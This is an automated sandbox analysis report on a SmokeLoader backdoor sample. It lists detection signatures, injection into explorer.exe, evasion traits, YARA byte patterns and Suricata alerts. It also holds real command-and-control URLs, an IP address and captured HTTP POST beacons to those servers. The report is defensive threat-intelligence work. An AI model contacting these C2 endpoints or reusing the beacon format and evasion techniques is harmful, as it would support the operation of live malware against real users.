Edit tour

Windows Analysis Report
2Qvkmk7HGr.exe

Overview

General Information

Sample name:	2Qvkmk7HGr.exe renamed because original name is a hash value
Original sample name:	4bb69f9fad0620ecb64971676b9f2cbc.exe
Analysis ID:	1538071
MD5:	4bb69f9fad0620ecb64971676b9f2cbc
SHA1:	519d65503d586d0442ea411d03e790d52b564eee
SHA256:	6ce6a03625c3a1e2b97d490363a3ec5be1706ec424493d7de2c9cad2644c3311
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

2Qvkmk7HGr.exe (PID: 7032 cmdline: "C:\Users\user\Desktop\2Qvkmk7HGr.exe" MD5: 4BB69F9FAD0620ECB64971676B9F2CBC)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

tcgiwaf (PID: 5432 cmdline: C:\Users\user\AppData\Roaming\tcgiwaf MD5: 4BB69F9FAD0620ECB64971676B9F2CBC)

tcgiwaf (PID: 5848 cmdline: C:\Users\user\AppData\Roaming\tcgiwaf MD5: 4BB69F9FAD0620ECB64971676B9F2CBC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://tnc-corp.ru/tmp/index.php", "http://volisc.biz/tmp/index.php", "http://livbev.online/tmp/index.php", "http://liverds.at/tmp/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11c59:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11c59:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\tcgiwaf, CommandLine: C:\Users\user\AppData\Roaming\tcgiwaf, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\tcgiwaf, NewProcessName: C:\Users\user\AppData\Roaming\tcgiwaf, OriginalFileName: C:\Users\user\AppData\Roaming\tcgiwaf, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\tcgiwaf, ProcessId: 5432, ProcessName: tcgiwaf

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T09:38:55.064900+0200	2039103	1	A Network Trojan was detected	192.168.2.4	55686	211.171.233.126	80	TCP
2024-10-20T09:39:16.001247+0200	2039103	1	A Network Trojan was detected	192.168.2.4	55718	211.171.233.126	80	TCP
2024-10-20T09:39:33.091816+0200	2039103	1	A Network Trojan was detected	192.168.2.4	55719	211.171.233.126	80	TCP
2024-10-20T09:39:57.293501+0200	2039103	1	A Network Trojan was detected	192.168.2.4	55720	211.171.233.126	80	TCP
2024-10-20T09:40:22.237445+0200	2039103	1	A Network Trojan was detected	192.168.2.4	54853	211.171.233.126	80	TCP
2024-10-20T09:40:43.105564+0200	2039103	1	A Network Trojan was detected	192.168.2.4	54854	211.171.233.126	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2Qvkmk7HGr.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Avira: detection malicious, Label: HEUR/AGEN.1306978

Found malware configuration

Source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://tnc-corp.ru/tmp/index.php", "http://volisc.biz/tmp/index.php", "http://livbev.online/tmp/index.php", "http://liverds.at/tmp/index.php"]}

Multi AV Scanner detection for domain / URL

Source: liverds.at	Virustotal: Detection: 5%	Perma Link
Source: livbev.online	Virustotal: Detection: 6%	Perma Link
Source: volisc.biz	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\tcgiwaf

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: 2Qvkmk7HGr.exe	ReversingLabs: Detection: 39%
Source: 2Qvkmk7HGr.exe	Virustotal: Detection: 41%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2Qvkmk7HGr.exe

Joe Sandbox ML: detected

Source: 2Qvkmk7HGr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_004032A0 GetNumberFormatW,InterlockedIncrement,SetFileAttributesW,GetCommMask,GetNumberFormatW,GetLogicalDriveStringsA,VerifyVersionInfoW,GetComputerNameA,ClearCommError,InterlockedIncrement,EnumTimeFormatsA,GetTempFileNameA,_memset,CommConfigDialogW,ReadConsoleInputA,GetVersionExW,CreateActCtxW,InterlockedExchange,InterlockedExchangeAdd,GetShortPathNameW,GetCurrencyFormatW,GetLocaleInfoW,InterlockedIncrement,SetVolumeMountPointA,GlobalUnWire,CreateSemaphoreW,

7_2_004032A0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:54854 -> 211.171.233.126:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:55718 -> 211.171.233.126:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:55719 -> 211.171.233.126:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:55720 -> 211.171.233.126:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:54853 -> 211.171.233.126:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:55686 -> 211.171.233.126:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 211.171.233.126 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://tnc-corp.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://volisc.biz/tmp/index.php
Source: Malware configuration extractor	URLs: http://livbev.online/tmp/index.php
Source: Malware configuration extractor	URLs: http://liverds.at/tmp/index.php

Source: Joe Sandbox View

IP Address: 211.171.233.126 211.171.233.126

Source: Joe Sandbox View

ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR

Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uepnecxbbbdpiq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://strnbrsjeqnhidm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amjpnfqmtie.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lkexyglvlsxrxq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kgbmakinbtdtwix.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://roqbxksriohvi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: tnc-corp.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: tnc-corp.ru
Source: global traffic	DNS traffic detected: DNS query: volisc.biz
Source: global traffic	DNS traffic detected: DNS query: livbev.online
Source: global traffic	DNS traffic detected: DNS query: liverds.at

Source: unknown

HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uepnecxbbbdpiq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: tnc-corp.ru

Source: explorer.exe, 00000001.00000000.1752481052.0000000009837000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000000.1752481052.0000000009837000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000000.1752481052.0000000009837000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000001.00000000.1752481052.0000000009837000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1753482488.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1751138246.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1751529258.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000001.00000000.1758674619.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000001.00000000.1758674619.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1748652192.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1748053995.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1752481052.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1752481052.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1758674619.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
